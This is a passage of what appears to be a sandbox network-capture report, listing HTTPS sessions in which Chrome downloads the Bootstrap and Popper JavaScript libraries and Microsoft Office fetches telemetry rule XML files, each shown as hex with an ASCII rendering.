2024-11-26 12:43:39 UTC	1378	IN	Data Raw: 73 7d 29 2c 64 65 73 74 72 6f 79 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 28 29 2c 70 3d 21 30 7d 7d 3b 69 66 28 21 51 28 65 2c 74 29 29 72 65 74 75 72 6e 20 75 3b 66 75 6e 63 74 69 6f 6e 20 6c 28 29 7b 63 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 28 29 7d 29 29 2c 63 3d 5b 5d 7d 72 65 74 75 72 6e 20 75 2e 73 65 74 4f 70 74 69 6f 6e 73 28 72 29 2e 74 68 65 6e 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 21 70 26 26 72 2e 6f 6e 46 69 72 73 74 55 70 64 61 74 65 26 26 72 2e 6f 6e 46 69 72 73 74 55 70 64 61 74 65 28 65 29 7d 29 29 2c 75 7d 7d 76 61 72 20 24 3d 7b 70 61 73 73 69 76 65 3a 21 30 7d 3b 76 61 72 20 65 65 3d 7b 6e 61 6d 65 3a 22 65 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 22 2c 65 6e 61 62 6c 65 64 3a 21 30 Data Ascii: s}),destroy:function(){l(),p=!0}};if(!Q(e,t))return u;function l(){c.forEach((function(e){return e()})),c=[]}return u.setOptions(r).then((function(e){!p&&r.onFirstUpdate&&r.onFirstUpdate(e)})),u}}var $={passive:!0};var ee={name:"eventListeners",enabled:!0
2024-11-26 12:43:39 UTC	1378	IN	Data Raw: 69 67 68 74 22 2c 54 3d 22 63 6c 69 65 6e 74 57 69 64 74 68 22 3b 69 66 28 57 3d 3d 3d 74 28 72 29 26 26 22 73 74 61 74 69 63 22 21 3d 3d 6d 28 57 3d 64 28 72 29 29 2e 70 6f 73 69 74 69 6f 6e 26 26 22 61 62 73 6f 6c 75 74 65 22 3d 3d 3d 63 26 26 28 48 3d 22 73 63 72 6f 6c 6c 48 65 69 67 68 74 22 2c 54 3d 22 73 63 72 6f 6c 6c 57 69 64 74 68 22 29 2c 57 3d 57 2c 69 3d 3d 3d 44 7c 7c 28 69 3d 3d 3d 50 7c 7c 69 3d 3d 3d 4c 29 26 26 61 3d 3d 3d 42 29 4d 3d 41 2c 62 2d 3d 28 68 26 26 57 3d 3d 3d 6b 26 26 6b 2e 76 69 73 75 61 6c 56 69 65 77 70 6f 72 74 3f 6b 2e 76 69 73 75 61 6c 56 69 65 77 70 6f 72 74 2e 68 65 69 67 68 74 3a 57 5b 48 5d 29 2d 6f 2e 68 65 69 67 68 74 2c 62 2a 3d 70 3f 31 3a 2d 31 3b 69 66 28 69 3d 3d 3d 50 7c 7c 28 69 3d 3d 3d 44 7c 7c 69 3d 3d Data Ascii: ight",T="clientWidth";if(W===t(r)&&"static"!==m(W=d(r)).position&&"absolute"===c&&(H="scrollHeight",T="scrollWidth"),W=W,i===D\|\|(i===P\|\|i===L)&&a===B)M=A,b-=(h&&W===k&&k.visualViewport?k.visualViewport.height:W[H])-o.height,b*=p?1:-1;if(i===P\|\|(i===D\|\|i==
2024-11-26 12:43:39 UTC	1378	IN	Data Raw: 65 73 2e 61 72 72 6f 77 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 7b 7d 2c 74 2e 73 74 79 6c 65 73 2e 61 72 72 6f 77 2c 72 65 28 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 7b 7d 2c 63 2c 7b 6f 66 66 73 65 74 73 3a 74 2e 6d 6f 64 69 66 69 65 72 73 44 61 74 61 2e 61 72 72 6f 77 2c 70 6f 73 69 74 69 6f 6e 3a 22 61 62 73 6f 6c 75 74 65 22 2c 61 64 61 70 74 69 76 65 3a 21 31 2c 72 6f 75 6e 64 4f 66 66 73 65 74 73 3a 66 7d 29 29 29 29 2c 74 2e 61 74 74 72 69 62 75 74 65 73 2e 70 6f 70 70 65 72 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 7b 7d 2c 74 2e 61 74 74 72 69 62 75 74 65 73 2e 70 6f 70 70 65 72 2c 7b 22 64 61 74 61 2d 70 6f 70 70 65 72 2d 70 6c 61 63 65 6d 65 6e 74 22 3a 74 2e 70 6c 61 63 65 6d 65 6e 74 7d 29 7d 2c 64 61 74 61 3a 7b 7d 7d 3b 76 61 72 Data Ascii: es.arrow=Object.assign({},t.styles.arrow,re(Object.assign({},c,{offsets:t.modifiersData.arrow,position:"absolute",adaptive:!1,roundOffsets:f})))),t.attributes.popper=Object.assign({},t.attributes.popper,{"data-popper-placement":t.placement})},data:{}};var

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.7	49754	151.101.129.229	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:38 UTC	384	OUT	GET /npm/bootstrap@5.3.3/dist/js/bootstrap.min.js HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 12:43:39 UTC	774	IN	HTTP/1.1 200 OK Connection: close Content-Length: 60635 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=31536000, s-maxage=31536000, immutable Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: application/javascript; charset=utf-8 X-JSD-Version: 5.3.3 X-JSD-Version-Type: version ETag: W/"ecdb-LGwKWDRaCdN2EjCvgjpOSFKxJkM" Accept-Ranges: bytes Age: 559801 Date: Tue, 26 Nov 2024 12:43:39 GMT X-Served-By: cache-fra-etou8220156-FRA, cache-nyc-kteb1890054-NYC X-Cache: HIT, HIT Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2024-11-26 12:43:39 UTC	1378	IN	Data Raw: 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 35 2e 33 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 34 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 69 6e 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 Data Ascii: /! Bootstrap v5.3.3 (https://getbootstrap.com/) * Copyright 2011-2024 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) */!function(t,e){"ob
2024-11-26 12:43:39 UTC	1378	IN	Data Raw: 64 20 30 21 3d 3d 74 2e 6e 6f 64 65 54 79 70 65 29 2c 63 3d 74 3d 3e 6c 28 74 29 3f 74 2e 6a 71 75 65 72 79 3f 74 5b 30 5d 3a 74 3a 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 74 2e 6c 65 6e 67 74 68 3e 30 3f 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 72 28 74 29 29 3a 6e 75 6c 6c 2c 68 3d 74 3d 3e 7b 69 66 28 21 6c 28 74 29 7c 7c 30 3d 3d 3d 74 2e 67 65 74 43 6c 69 65 6e 74 52 65 63 74 73 28 29 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 21 31 3b 63 6f 6e 73 74 20 65 3d 22 76 69 73 69 62 6c 65 22 3d 3d 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 74 29 2e 67 65 74 50 72 6f 70 65 72 74 79 56 61 6c 75 65 28 22 76 69 73 69 62 69 6c 69 74 79 22 29 2c 69 3d 74 2e 63 6c 6f 73 65 73 74 28 22 64 65 74 61 69 6c 73 Data Ascii: d 0!==t.nodeType),c=t=>l(t)?t.jquery?t[0]:t:"string"==typeof t&&t.length>0?document.querySelector(r(t)):null,h=t=>{if(!l(t)\|\|0===t.getClientRects().length)return!1;const e="visible"===getComputedStyle(t).getPropertyValue("visibility"),i=t.closest("details
2024-11-26 12:43:39 UTC	1378	IN	Data Raw: 69 74 69 6f 6e 44 75 72 61 74 69 6f 6e 3a 65 2c 74 72 61 6e 73 69 74 69 6f 6e 44 65 6c 61 79 3a 69 7d 3d 77 69 6e 64 6f 77 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 74 29 3b 63 6f 6e 73 74 20 73 3d 4e 75 6d 62 65 72 2e 70 61 72 73 65 46 6c 6f 61 74 28 65 29 2c 6e 3d 4e 75 6d 62 65 72 2e 70 61 72 73 65 46 6c 6f 61 74 28 69 29 3b 72 65 74 75 72 6e 20 73 7c 7c 6e 3f 28 65 3d 65 2e 73 70 6c 69 74 28 22 2c 22 29 5b 30 5d 2c 69 3d 69 2e 73 70 6c 69 74 28 22 2c 22 29 5b 30 5d 2c 31 65 33 2a 28 4e 75 6d 62 65 72 2e 70 61 72 73 65 46 6c 6f 61 74 28 65 29 2b 4e 75 6d 62 65 72 2e 70 61 72 73 65 46 6c 6f 61 74 28 69 29 29 29 3a 30 7d 29 28 65 29 2b 35 3b 6c 65 74 20 6e 3d 21 31 3b 63 6f 6e 73 74 20 72 3d 28 7b 74 61 72 67 65 74 3a 69 7d 29 3d 3e 7b 69 3d Data Ascii: itionDuration:e,transitionDelay:i}=window.getComputedStyle(t);const s=Number.parseFloat(e),n=Number.parseFloat(i);return s\|\|n?(e=e.split(",")[0],i=i.split(",")[0],1e3*(Number.parseFloat(e)+Number.parseFloat(i))):0})(e)+5;let n=!1;const r=({target:i})=>{i=
2024-11-26 12:43:39 UTC	1378	IN	Data Raw: 3d 69 29 29 7d 66 75 6e 63 74 69 6f 6e 20 44 28 74 2c 65 2c 69 29 7b 63 6f 6e 73 74 20 73 3d 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 2c 6e 3d 73 3f 69 3a 65 7c 7c 69 3b 6c 65 74 20 6f 3d 4d 28 74 29 3b 72 65 74 75 72 6e 20 53 2e 68 61 73 28 6f 29 7c 7c 28 6f 3d 74 29 2c 5b 73 2c 6e 2c 6f 5d 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 74 2c 65 2c 69 2c 73 2c 6e 29 7b 69 66 28 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 65 7c 7c 21 74 29 72 65 74 75 72 6e 3b 6c 65 74 5b 6f 2c 72 2c 61 5d 3d 44 28 65 2c 69 2c 73 29 3b 69 66 28 65 20 69 6e 20 24 29 7b 63 6f 6e 73 74 20 74 3d 74 3d 3e 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 72 65 6c 61 74 65 64 54 61 72 67 65 74 7c 7c 65 2e 72 65 6c 61 74 65 64 54 61 72 67 65 74 21 3d 3d 65 2e 64 65 Data Ascii: =i))}function D(t,e,i){const s="string"==typeof e,n=s?i:e\|\|i;let o=M(t);return S.has(o)\|\|(o=t),[s,n,o]}function N(t,e,i,s,n){if("string"!=typeof e\|\|!t)return;let[o,r,a]=D(e,i,s);if(e in $){const t=t=>function(e){if(!e.relatedTarget\|\|e.relatedTarget!==e.de
2024-11-26 12:43:39 UTC	1378	IN	Data Raw: 3d 6f 29 7b 69 66 28 68 29 66 6f 72 28 63 6f 6e 73 74 20 69 20 6f 66 20 4f 62 6a 65 63 74 2e 6b 65 79 73 28 6c 29 29 78 28 74 2c 6c 2c 69 2c 65 2e 73 6c 69 63 65 28 31 29 29 3b 66 6f 72 28 63 6f 6e 73 74 5b 69 2c 73 5d 6f 66 20 4f 62 6a 65 63 74 2e 65 6e 74 72 69 65 73 28 63 29 29 7b 63 6f 6e 73 74 20 6e 3d 69 2e 72 65 70 6c 61 63 65 28 43 2c 22 22 29 3b 61 26 26 21 65 2e 69 6e 63 6c 75 64 65 73 28 6e 29 7c 7c 50 28 74 2c 6c 2c 72 2c 73 2e 63 61 6c 6c 61 62 6c 65 2c 73 2e 64 65 6c 65 67 61 74 69 6f 6e 53 65 6c 65 63 74 6f 72 29 7d 7d 65 6c 73 65 7b 69 66 28 21 4f 62 6a 65 63 74 2e 6b 65 79 73 28 63 29 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 3b 50 28 74 2c 6c 2c 72 2c 6f 2c 6e 3f 69 3a 6e 75 6c 6c 29 7d 7d 2c 74 72 69 67 67 65 72 28 74 2c 65 2c 69 29 7b Data Ascii: =o){if(h)for(const i of Object.keys(l))x(t,l,i,e.slice(1));for(const[i,s]of Object.entries(c)){const n=i.replace(C,"");a&&!e.includes(n)\|\|P(t,l,r,s.callable,s.delegationSelector)}}else{if(!Object.keys(c).length)return;P(t,l,r,o,n?i:null)}},trigger(t,e,i){
2024-11-26 12:43:39 UTC	1378	IN	Data Raw: 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2b 69 2e 73 6c 69 63 65 28 31 2c 69 2e 6c 65 6e 67 74 68 29 2c 65 5b 69 5d 3d 7a 28 74 2e 64 61 74 61 73 65 74 5b 73 5d 29 7d 72 65 74 75 72 6e 20 65 7d 2c 67 65 74 44 61 74 61 41 74 74 72 69 62 75 74 65 3a 28 74 2c 65 29 3d 3e 7a 28 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 60 64 61 74 61 2d 62 73 2d 24 7b 48 28 65 29 7d 60 29 29 7d 3b 63 6c 61 73 73 20 71 7b 73 74 61 74 69 63 20 67 65 74 20 44 65 66 61 75 6c 74 28 29 7b 72 65 74 75 72 6e 7b 7d 7d 73 74 61 74 69 63 20 67 65 74 20 44 65 66 61 75 6c 74 54 79 70 65 28 29 7b 72 65 74 75 72 6e 7b 7d 7d 73 74 61 74 69 63 20 67 65 74 20 4e 41 4d 45 28 29 7b 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 27 59 6f 75 20 68 61 76 65 20 74 6f 20 69 6d 70 6c 65 6d 65 6e Data Ascii: .toLowerCase()+i.slice(1,i.length),e[i]=z(t.dataset[s])}return e},getDataAttribute:(t,e)=>z(t.getAttribute(`data-bs-${H(e)}`))};class q{static get Default(){return{}}static get DefaultType(){return{}}static get NAME(){throw new Error('You have to implemen
2024-11-26 12:43:39 UTC	1378	IN	Data Raw: 73 2e 5f 6d 65 72 67 65 43 6f 6e 66 69 67 4f 62 6a 28 74 2c 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2c 74 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 41 66 74 65 72 4d 65 72 67 65 28 74 29 2c 74 68 69 73 2e 5f 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 74 29 2c 74 7d 73 74 61 74 69 63 20 67 65 74 49 6e 73 74 61 6e 63 65 28 74 29 7b 72 65 74 75 72 6e 20 6e 2e 67 65 74 28 63 28 74 29 2c 74 68 69 73 2e 44 41 54 41 5f 4b 45 59 29 7d 73 74 61 74 69 63 20 67 65 74 4f 72 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 28 74 2c 65 3d 7b 7d 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 67 65 74 49 6e 73 74 61 6e 63 65 28 74 29 7c 7c 6e 65 77 20 74 68 69 73 28 74 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 3f 65 3a 6e 75 6c 6c 29 7d 73 74 61 74 69 63 20 67 65 Data Ascii: s._mergeConfigObj(t,this._element),t=this._configAfterMerge(t),this._typeCheckConfig(t),t}static getInstance(t){return n.get(c(t),this.DATA_KEY)}static getOrCreateInstance(t,e={}){return this.getInstance(t)\|\|new this(t,"object"==typeof e?e:null)}static ge
2024-11-26 12:43:39 UTC	1378	IN	Data Raw: 5b 74 61 62 69 6e 64 65 78 5d 22 2c 27 5b 63 6f 6e 74 65 6e 74 65 64 69 74 61 62 6c 65 3d 22 74 72 75 65 22 5d 27 5d 2e 6d 61 70 28 28 74 3d 3e 60 24 7b 74 7d 3a 6e 6f 74 28 5b 74 61 62 69 6e 64 65 78 5e 3d 22 2d 22 5d 29 60 29 29 2e 6a 6f 69 6e 28 22 2c 22 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 66 69 6e 64 28 65 2c 74 29 2e 66 69 6c 74 65 72 28 28 74 3d 3e 21 64 28 74 29 26 26 68 28 74 29 29 29 7d 2c 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 29 7b 63 6f 6e 73 74 20 65 3d 52 28 74 29 3b 72 65 74 75 72 6e 20 65 26 26 4b 2e 66 69 6e 64 4f 6e 65 28 65 29 3f 65 3a 6e 75 6c 6c 7d 2c 67 65 74 45 6c 65 6d 65 6e 74 46 72 6f 6d 53 65 6c 65 63 74 6f 72 28 74 29 7b 63 6f 6e 73 74 20 65 3d 52 28 74 29 3b 72 65 74 75 72 6e 20 65 3f 4b Data Ascii: [tabindex]",'[contenteditable="true"]'].map((t=>`${t}:not([tabindex^="-"])`)).join(",");return this.find(e,t).filter((t=>!d(t)&&h(t)))},getSelectorFromElement(t){const e=R(t);return e&&K.findOne(e)?e:null},getElementFromSelector(t){const e=R(t);return e?K
2024-11-26 12:43:39 UTC	1378	IN	Data Raw: 65 6c 65 6d 65 6e 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 70 72 65 73 73 65 64 22 2c 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4c 69 73 74 2e 74 6f 67 67 6c 65 28 22 61 63 74 69 76 65 22 29 29 7d 73 74 61 74 69 63 20 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 28 74 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 63 6f 6e 73 74 20 65 3d 4a 2e 67 65 74 4f 72 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 28 74 68 69 73 29 3b 22 74 6f 67 67 6c 65 22 3d 3d 3d 74 26 26 65 5b 74 5d 28 29 7d 29 29 7d 7d 6a 2e 6f 6e 28 64 6f 63 75 6d 65 6e 74 2c 22 63 6c 69 63 6b 2e 62 73 2e 62 75 74 74 6f 6e 2e 64 61 74 61 2d 61 70 69 22 2c 47 2c 28 74 3d 3e 7b 74 2e 70 72 65 76 65 6e 74 44 65 66 61 Data Ascii: element.setAttribute("aria-pressed",this._element.classList.toggle("active"))}static jQueryInterface(t){return this.each((function(){const e=J.getOrCreateInstance(this);"toggle"===t&&e[t]()}))}}j.on(document,"click.bs.button.data-api",G,(t=>{t.preventDefa
2024-11-26 12:43:39 UTC	1378	IN	Data Raw: 6c 74 61 58 3d 30 2c 65 26 26 76 28 65 3e 30 3f 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 72 69 67 68 74 43 61 6c 6c 62 61 63 6b 3a 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6c 65 66 74 43 61 6c 6c 62 61 63 6b 29 7d 5f 69 6e 69 74 45 76 65 6e 74 73 28 29 7b 74 68 69 73 2e 5f 73 75 70 70 6f 72 74 50 6f 69 6e 74 65 72 45 76 65 6e 74 73 3f 28 6a 2e 6f 6e 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2c 73 74 2c 28 74 3d 3e 74 68 69 73 2e 5f 73 74 61 72 74 28 74 29 29 29 2c 6a 2e 6f 6e 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2c 6e 74 2c 28 74 3d 3e 74 68 69 73 2e 5f 65 6e 64 28 74 29 29 29 2c 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 22 29 29 3a 28 6a 2e 6f 6e 28 74 68 69 73 2e 5f 65 Data Ascii: ltaX=0,e&&v(e>0?this._config.rightCallback:this._config.leftCallback)}_initEvents(){this._supportPointerEvents?(j.on(this._element,st,(t=>this._start(t))),j.on(this._element,nt,(t=>this._end(t))),this._element.classList.add("pointer-event")):(j.on(this._e

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.7	49753	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:39 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:39 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:39 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: f5c4af5a-301e-005d-6385-3fe448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124339Z-174f7845968xlwnmhC1EWR0sv80000000vb0000000003mux x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:39 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.7	49752	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:39 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:39 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:39 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: b18988de-c01e-0079-2891-3fe51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124339Z-174f7845968l4kp6hC1EWRe8840000000vkg00000000cb22 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:39 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.7	49756	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:39 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:39 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:39 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: b254496e-901e-0016-2991-3fefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124339Z-174f7845968cpnpfhC1EWR3afc0000000uyg00000000bs1p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:39 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.7	49751	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:39 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:39 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:39 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 02716611-001e-00ad-7089-3f554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124339Z-174f7845968ljs8phC1EWRe6en0000000v900000000083ay x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
